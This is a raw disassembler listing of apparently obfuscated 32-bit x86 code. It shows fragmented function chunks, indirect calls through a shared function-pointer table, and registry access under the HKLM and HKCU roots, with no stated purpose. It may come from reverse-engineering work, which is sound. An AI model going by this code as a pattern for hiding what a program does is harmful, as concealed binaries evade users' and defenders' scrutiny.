; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABA3C


loc_9B028C:				; CODE XREF: sub_9ABA3C+96B8j
					; DATA XREF: .text:off_9BADF4o
		mov	dword ptr [ebp-124h], 1


loc_9B0296:				; CODE XREF: sub_9ABA3C+96B2j
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	eax
		lea	ecx, [ebp-120h]
		push	ecx
		call	dword ptr [eax+44h]
		jmp	loc_9AB51F
; END OF FUNCTION CHUNK	FOR sub_9ABA3C
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3FF8


loc_9B02B0:				; CODE XREF: sub_9B3FF8+128Cj
		sub	edi, edi
		mov	di, [esi+8]
		test	edi, 8000h
		jz	loc_9B2884
		jmp	off_9B94F4
; END OF FUNCTION CHUNK	FOR sub_9B3FF8
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AFB1C


loc_9B02CB:				; CODE XREF: sub_9AFB1C+1DC0j
					; sub_9AFB1C+40A6j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9AFB1C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3EFC


loc_9B02E4:				; CODE XREF: sub_9B3EFC-5BC0j
					; DATA XREF: .text:off_9BAF57o
		mov	ecx, eax
		and	ecx, 0FFFFh
		cmp	ecx, 0FEA9h
		jz	loc_9AD6E0
		jmp	off_9BA4D9
; END OF FUNCTION CHUNK	FOR sub_9B3EFC
; ---------------------------------------------------------------------------
		align 10h
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B0304:				; CODE XREF: sub_9B63D8-8D9Bj
		add	ebx, eax
		mov	[ebp-2128h], ebx
		push	dword ptr [ebp-2124h]
		pop	ecx
		cmp	ecx, 0FFFFFFFFh
		jnz	loc_9B1E18
		jmp	loc_9AE2F0
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ACEE8


loc_9B0324:				; CODE XREF: sub_9ACEE8-180Cj
					; DATA XREF: .text:off_9BAB01o
		xor	ebx, ebx
		mov	[ebp-0B4h], ebx
		call	sub_9B227C
		sub	ecx, ecx
		mov	[ebp-0B8h], eax
		sub	edx, edx
		call	sub_9AC6DC
		jmp	loc_9ACF55
; END OF FUNCTION CHUNK	FOR sub_9ACEE8
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9B2118


loc_9B034B:				; CODE XREF: sub_9B2118-26D9j
					; sub_9B2118-1B32j ...
		mov	[ebp+var_4], 0FFFFFFFFh
		push	[ebp+var_1C]
		pop	eax
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B2118
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9B036C:				; CODE XREF: sub_9B63D8-8491j
					; DATA XREF: .text:off_9BA8E0o
		cmp	word ptr [esi+0Ah], 4
		jnz	loc_9AF944
		jmp	loc_9B1218
; END OF FUNCTION CHUNK	FOR sub_9B63D8

; =============== S U B	R O U T	I N E =======================================



sub_9B037C	proc near		; CODE XREF: sub_9B2E04-3D63j

; FUNCTION CHUNK AT 009AB9A8 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009ABFEC SIZE 00000044 BYTES
; FUNCTION CHUNK AT 009ACCFC SIZE 00000024 BYTES
; FUNCTION CHUNK AT 009AD10C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B2B08 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 009B5724 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 009B5E74 SIZE 00000035 BYTES

		push	ebx
		mov	edx, [ebp-4050h]
		lea	esi, [ebp-402Ch]
		xor	eax, eax
		call	sub_9B1334
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+10h]
		push	10h
		mov	eax, esi
		push	eax
		push	edi
		call	dword ptr [edx+18h]
		or	eax, eax
		jnz	loc_9B572A
		jmp	off_9BA93C
sub_9B037C	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2160


loc_9B03B4:				; CODE XREF: sub_9B2160-AFAj
		push	dword ptr [esi+48h]
		pop	eax
		and	eax, eax
		jnz	loc_9B2440
		jmp	off_9BAFA3
; END OF FUNCTION CHUNK	FOR sub_9B2160
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3A74


loc_9B03C8:				; CODE XREF: sub_9B3A74+27E8j
		mov	edx, dword_9BCB74
		push	dword ptr [edx+0Ch]
		pop	ecx
		push	eax
		call	dword ptr [ecx+14h]


loc_9B03D6:				; CODE XREF: sub_9B3A74+27E2j
		lea	ecx, [ebp-130h]
		call	sub_9B5480
		jmp	loc_9AD33B
; END OF FUNCTION CHUNK	FOR sub_9B3A74
; ---------------------------------------------------------------------------
		mov	edi, edi

; =============== S U B	R O U T	I N E =======================================



sub_9B03E8	proc near		; CODE XREF: sub_9B1584-276Ap

var_A		= byte ptr -0Ah

; FUNCTION CHUNK AT 009ABFC0 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 009AC3F4 SIZE 00000052 BYTES
; FUNCTION CHUNK AT 009AE4CE SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009AF0D4 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 009AF4C4 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 009AF9B8 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 009AFF2C SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009B21EC SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009B2AD4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B2B4C SIZE 00000098 BYTES
; FUNCTION CHUNK AT 009B394C SIZE 00000038 BYTES
; FUNCTION CHUNK AT 009B42D0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 009B5690 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 009B61FC SIZE 00000046 BYTES

		push	ebp
		push	esp
		pop	ebp
		push	0FFFFFFFFh
		push	off_9BAB94
		push	off_9B8CBD
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 14Ch
		push	dword_9B8788
		pop	eax
		xor	eax, ebp
		mov	[ebp-1Ch], eax
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	dword ptr [ebp-4], 0
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+84h]
		test	eax, eax
		jns	loc_9B61FC
		jmp	loc_9AF9B8
sub_9B03E8	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFF64


loc_9B0444:				; CODE XREF: sub_9AFF64+1332j
		call	sub_9AE860
		add	esp, 0Ch
		push	eax
		lea	edx, [ebp+var_120]
		push	edx
		push	80000002h
		call	sub_9AD97C
		lea	eax, [ebp+var_224]
		push	eax
		push	8
		mov	ecx, dword_9BBD28
		push	ecx
		call	sub_9AE860
		add	esp, 0Ch
		push	eax
		lea	edx, [ebp+var_120]
		push	edx
		push	80000001h
		call	sub_9AD97C
		mov	[ebp+var_228], 1
		jmp	loc_9B5807
; END OF FUNCTION CHUNK	FOR sub_9AFF64
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AEAAC


loc_9B0498:				; CODE XREF: sub_9AEAAC+2CEj
					; DATA XREF: .text:off_9B8FE5o
		test	cl, 4
		jnz	loc_9B42FE
		jmp	off_9B9EE9
; END OF FUNCTION CHUNK	FOR sub_9AEAAC
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B04A8	proc near		; CODE XREF: sub_9AB7C0+64j

; FUNCTION CHUNK AT 009ABF94 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009AC7A8 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 009ACA28 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 009ACFFC SIZE 00000018 BYTES
; FUNCTION CHUNK AT 009AD224 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 009AD524 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009ADA08 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 009AE460 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B01B8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009B0EA4 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009B18E8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B1CDC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 009B1E80 SIZE 00000059 BYTES
; FUNCTION CHUNK AT 009B2630 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 009B27C0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 009B4330 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 009B434C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 009B4530 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 009B5188 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009B5D70 SIZE 0000000B BYTES

		push	ebx
		call	sub_9AFCA0
		add	esp, 4
		test	eax, eax
		jz	loc_9AFD43
		jmp	off_9B942D
sub_9B04A8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B43F4


loc_9B04C0:				; CODE XREF: sub_9B43F4+4Aj
					; DATA XREF: .text:off_9BACDCo
		push	dword ptr [ebp+8]
		pop	ecx
		push	esi
		pop	edx
		call	sub_9B3FF8
		mov	[ebp-20h], eax
		test	eax, eax
		jz	loc_9ACEAF
		jmp	off_9BA080
; END OF FUNCTION CHUNK	FOR sub_9B43F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9B04DC:				; CODE XREF: sub_9B1D80+3120j
		js	loc_9B3ECB
		jmp	loc_9B3C2C
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B04E8:				; CODE XREF: sub_9AB1A0-3C9j
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+10h]
		pop	edi
		mov	eax, edi
		mov	ecx, dword_9BEC30[esi]
		push	ecx
		call	dword ptr [eax+34h]
		push	dword_9BEC2C[esi]
		pop	edx
		push	eax
		pop	ebx
		push	edx
		call	dword ptr [edi+34h]
		and	ebx, eax
		add	ebx, [ebp-20h]
		push	ebx
		call	dword ptr [edi+30h]
		mov	edi, eax
		mov	[ebp-1Ch], edi
		push	dword_9BEC2C[esi]
		pop	eax
		cmp	edi, eax
		jz	loc_9B290C
		jmp	loc_9ADCB0
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 10h
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B0534:				; CODE XREF: sub_9AB1A0-189j
		cmp	edi, 2
		jb	loc_9AFE6F
		jmp	off_9BA63B
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B0544:				; CODE XREF: sub_9B0930+5796j
					; DATA XREF: .text:off_9B969Fo
		push	off_9B907A
		push	dword ptr [eax]
		pop	eax
		push	eax
		call	esi
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx]
		pop	edx
		mov	[edx+74h], eax
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	eax
		mov	ecx, [eax+74h]
		jmp	loc_9B531C
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B2118


loc_9B0570:				; CODE XREF: sub_9B2118+9D9j
		mov	dword_9BEC14, esi
		mov	dword_9BEC18, esi
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	ecx
		push	off_9BAF9B
		call	dword ptr [ecx+68h]
		sub	eax, eax
		push	off_9B9FDF
		pop	edi
		push	93h
		pop	ecx
		rep stosd
		call	sub_9B6388
		call	sub_9B57B4
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		push	off_9BAD92
		call	dword ptr [eax+68h]
		call	sub_9B022C
		mov	dword_9BEBF8, esi
		mov	dword_9BEBF4, esi
		call	sub_9B3C6C
		push	[ebp+arg_0]
		pop	ecx
		push	ecx
		call	sub_9AD2B8
		mov	dword_9BF11C, esi
		mov	[ebp+var_1C], 1
		jmp	loc_9B034B
; END OF FUNCTION CHUNK	FOR sub_9B2118
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B4724


loc_9B05EC:				; CODE XREF: sub_9B4724+55j
		pop	edi
		pop	ebx
; END OF FUNCTION CHUNK	FOR sub_9B4724
; START	OF FUNCTION CHUNK FOR sub_9AB95C


loc_9B05EE:				; CODE XREF: sub_9AB95C+Bj
		pop	esi
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9AB95C
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B6370


loc_9B05F8:				; CODE XREF: sub_9B6370-4B4Aj
					; DATA XREF: .text:off_9BACB6o
		pop	edi
		pop	esi


loc_9B05FA:				; CODE XREF: sub_9B6370+Ej
		pop	ebx
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_9B6370
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, dword_9BCB74
		mov	ecx, [eax+14h]
		push	off_9B98C1
		call	dword ptr [ecx+0Ch]
		mov	edx, dword_9BCB74
		push	dword ptr [edx]
		pop	eax
		add	esp, 4
		call	dword ptr [eax+30h]
		mov	dword_9BCB94, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_9B0628:				; CODE XREF: .text:009B0C81j
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B0630:				; CODE XREF: sub_9B0930+1AB6j
		push	off_9B9203
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		mov	ecx, [edx]
		mov	[ecx+30h], eax
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		push	dword ptr [eax+30h]
		pop	ecx
		and	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9BA8C4
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B2010


loc_9B0664:				; CODE XREF: sub_9B2010+3Ej
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+30h]
		sub	eax, dword_9BEBF8
		cmp	eax, 2710h
		jbe	loc_9AE704
		jmp	loc_9AE6CC
; END OF FUNCTION CHUNK	FOR sub_9B2010
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB040


loc_9B0688:				; CODE XREF: sub_9AB040+5D62j
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BAD92
		mov	edi, 1
		call	dword ptr [ecx+1Ch]
		push	edi
		pop	eax
		pop	edi
		retn
; END OF FUNCTION CHUNK	FOR sub_9AB040
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9B06A4:				; CODE XREF: sub_9B1A08-4835j
					; DATA XREF: .text:off_9BA5FCo
		push	esi
		lea	edx, [ebp+var_41F0]
		push	edx
		push	64h
		lea	eax, [ebp+var_43B4]
		push	eax
		mov	ecx, 11h
		call	sub_9AB1A0


loc_9B06BF:				; CODE XREF: sub_9B1A08-483Bj
		push	[ebp+var_41F0]
		pop	esi
		or	esi, esi
		jbe	loc_9B16BE
		jmp	off_9BA4C5
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ABA3C


loc_9B06D4:				; CODE XREF: sub_9ABA3C+28D0j
					; DATA XREF: .text:off_9BA716o
		sub	eax, edx
		cmp	byte ptr [esi+eax-1], 5Ch
		jnz	loc_9B5D02
		jmp	off_9B93AF
; END OF FUNCTION CHUNK	FOR sub_9ABA3C
; ---------------------------------------------------------------------------
		align 4
		mov	esp, [ebp-18h]
; START	OF FUNCTION CHUNK FOR sub_9AF654


loc_9B06EB:				; CODE XREF: sub_9AF654-AE1j
					; sub_9AF654+38j ...
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-1Ch]
		pop	eax
		push	dword ptr [ebp-10h]
		pop	ecx
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_9AF654
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AC32C


loc_9B0708:				; CODE XREF: sub_9AC32C+1Ej
		mov	[esp+324h+var_308], ecx
		mov	[esp+324h+var_30C], edx


loc_9B0710:				; CODE XREF: sub_9AC32C+18j
		push	eax
		pop	ebp
		and	ebp, 10h
		jz	loc_9ABACA
		jmp	loc_9ABABC
; END OF FUNCTION CHUNK	FOR sub_9AC32C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9B0720:				; CODE XREF: sub_9AB1A0+62A8j
		not	esi
		or	esi, eax
		cmp	edi, esi
		jz	loc_9B290C
		jmp	loc_9AAE28
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B0734	proc near		; CODE XREF: sub_9B04A8-3CE1p
					; sub_9B1A08-32Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 009AB28C SIZE 00000021 BYTES
; FUNCTION CHUNK AT 009ACD64 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 009B2674 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 009B41F0 SIZE 0000005F BYTES
; FUNCTION CHUNK AT 009B4D48 SIZE 0000000C BYTES

		push	ecx
		push	esi
		push	eax
		push	edi
		push	ecx
		pop	esi
		mov	eax, 8
		mov	dword ptr [ebx], 0
		call	sub_9AC32C
		test	al, 3
		jnz	loc_9B4D4F
		jmp	off_9B9703
sub_9B0734	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AF654


loc_9B075C:				; CODE XREF: sub_9AF654+3Ej
		mov	esi, ecx
		shr	ecx, 2
		mov	edi, [edx+44h]
		rep stosd
		push	esi
		pop	ecx
		and	ecx, 3
		rep stosb
		mov	ecx, [edx]
		sub	ecx, 240h
		mov	esi, [edx+48h]
		push	dword ptr [edx+44h]
		pop	edi
		push	ecx
		pop	eax
		add	esi, 40h
		shr	ecx, 2
		rep movsd
		push	eax
		pop	ecx
		and	ecx, 3
		rep movsb
		xor	eax, eax
		mov	ecx, [edx]
		push	dword ptr [edx+48h]
		pop	edi
		push	ecx
		pop	esi
		shr	ecx, 2
		rep stosd
		push	esi
		pop	ecx
		jmp	off_9B887A
; END OF FUNCTION CHUNK	FOR sub_9AF654
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ABD30


loc_9B07A4:				; CODE XREF: sub_9ABD30+42D5j
					; DATA XREF: .text:off_9BA5F8o
		mov	ecx, 4
		jz	loc_9B11CE
		jmp	loc_9AD5B4
; END OF FUNCTION CHUNK	FOR sub_9ABD30
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AEE5C


loc_9B07B8:				; CODE XREF: sub_9AEE5C-E5Bj
					; DATA XREF: .text:off_9B87B0o
		cmp	dword ptr [ecx], 40h
		jb	loc_9B5A71
		jmp	off_9B8FC8
; END OF FUNCTION CHUNK	FOR sub_9AEE5C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B562C


loc_9B07C8:				; CODE XREF: sub_9B562C-4B20j
					; DATA XREF: .text:off_9BA469o
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx+18h]
		pop	eax
		lea	ecx, [ebp+var_134]
		push	ecx
		lea	edx, [ebp+var_124]
		push	edx
		call	dword ptr [eax+4]
		push	eax
		pop	edi
		mov	[ebp+var_13C], edi
		cmp	edi, ebx
		jz	loc_9AECDF
		jmp	loc_9AD498
; END OF FUNCTION CHUNK	FOR sub_9B562C
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3408


loc_9B07FC:				; CODE XREF: sub_9B3408-4DBDj
					; DATA XREF: .text:off_9BA6FFo
		push	dword ptr [ebp-128h]
		pop	ecx
		cmp	ecx, 340h
		jb	loc_9AB749
		jmp	off_9BA859
; END OF FUNCTION CHUNK	FOR sub_9B3408
; ---------------------------------------------------------------------------
		align 4
		push	dword_9BCB74
		pop	eax
		mov	ecx, [eax]
		push	off_9BAF9B
		call	dword ptr [ecx+68h]
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9B082C	proc near		; CODE XREF: sub_9B27D8-5110j
					; DATA XREF: .text:off_9B9868o

; FUNCTION CHUNK AT 009AB318 SIZE 00000013 BYTES

		push	ebx
		pop	edi
		dec	edi


loc_9B082F:				; CODE XREF: sub_9B082C+9j
		mov	al, [edi+1]
		inc	edi
		and	al, al
		jnz	short loc_9B082F
		jmp	loc_9AB318
sub_9B082C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sub	eax, eax
		mov	dword_9BEC14, eax
		mov	dword_9BEC18, eax
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B31A8


loc_9B084C:				; CODE XREF: sub_9B31A8-1EA1j
					; DATA XREF: .text:off_9B8DEBo
		mov	edx, dword_9BCB74
		mov	eax, [edx]
		push	dword ptr [esi]
		pop	ecx
		mov	edx, [ecx+4]
		push	edx
		call	dword ptr [eax+24h]
		mov	eax, dword_9BCB74
		push	dword ptr [eax]
		pop	ecx
		push	dword ptr [esi]
		pop	edx
		push	dword ptr [edx+8]
		pop	eax
		push	eax
		call	dword ptr [ecx+24h]
		push	dword ptr [esi]
		pop	eax
		call	sub_9AC448
		mov	[ebp+var_1C], 1
		mov	[esi], edi
		jmp	loc_9B1CBF
; END OF FUNCTION CHUNK	FOR sub_9B31A8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AFC28


loc_9B0888:				; CODE XREF: sub_9AFC28-4484j
					; DATA XREF: .text:off_9BAAA1o
		mov	ecx, [ebx+4]
		sub	eax, eax
		push	ecx
		pop	edx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	ecx, esi
		push	[ebp+arg_4]
		pop	esi
		mov	eax, ecx
		shr	ecx, 2
		push	dword ptr [ebx]
		pop	edi
		rep movsd
		push	eax
		pop	ecx
		and	ecx, 3
		rep movsb
		mov	ecx, dword_9BCB74
		mov	edx, [ecx]
		push	dword ptr [edx]
		pop	eax
		mov	[ebx+8], eax
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx]
		push	dword ptr [edx+8]
		pop	eax
		mov	[ebx+0Ch], eax
		mov	ecx, [ebp+arg_8]
		mov	[ebx+10h], ecx
		push	[ebp+arg_C]
		pop	edx
		mov	[ebx+14h], edx
		push	[ebp+arg_10]
		pop	eax
		mov	[ebx+18h], eax
		mov	ecx, [ebp+arg_14]
		mov	[ebx+1Ch], ecx
		push	[ebp+arg_0]
		pop	eax
		or	eax, eax
		jz	sub_9B0CC8
		jmp	loc_9AF19C
; END OF FUNCTION CHUNK	FOR sub_9AFC28
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9B08FC:				; CODE XREF: sub_9B0930+277Aj
		push	off_9B91D4
		mov	eax, [eax]
		push	eax
		call	esi
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+18h]
		mov	[edx+8], eax
		mov	eax, dword_9BCB74
		mov	eax, [eax+18h]
		mov	ecx, [eax+8]
		test	ecx, ecx
		jz	loc_9B23EF
		jmp	off_9B9F0B
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9B0930	proc near		; CODE XREF: sub_9B2118+32p

; FUNCTION CHUNK AT 009AAE14 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AB0D8 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009AB1F8 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 009AB230 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009AB374 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 009AB5D8 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 009AB974 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009ABB88 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 009ABCB8 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009ABF58 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 009AC04C SIZE 00000064 BYTES
; FUNCTION CHUNK AT 009AC0EC SIZE 00000037 BYTES
; FUNCTION CHUNK AT 009AC4B0 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 009AC588 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 009AC814 SIZE 00000092 BYTES
; FUNCTION CHUNK AT 009AC960 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 009ACBE4 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009AD0A4 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009AD254 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AD55C SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009AD968 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 009AD9E4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009ADC44 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009ADEAC SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009AE0FC SIZE 00000036 BYTES
; FUNCTION CHUNK AT 009AE150 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009AE254 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AE35C SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009AE390 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009AE490 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009AE508 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 009AE574 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 009AE5A0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 009AE8E4 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009AEE6C SIZE 00000055 BYTES
; FUNCTION CHUNK AT 009AEFC0 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 009AF2CC SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009AF44C SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009AF6D0 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009AF818 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 009AFC00 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 009AFE8C SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009B000C SIZE 0000002F BYTES
; FUNCTION CHUNK AT 009B0544 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 009B0630 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009B08FC SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009B0984 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009B0A64 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009B0B64 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 009B0C0C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 009B0CE8 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 009B0E28 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 009B0EE4 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009B1408 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 009B1714 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 009B188C SIZE 00000030 BYTES
; FUNCTION CHUNK AT 009B1B0C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B1BC0 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 009B1C5C SIZE 00000031 BYTES
; FUNCTION CHUNK AT 009B1CE8 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 009B1EF0 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 009B1F30 SIZE 00000036 BYTES
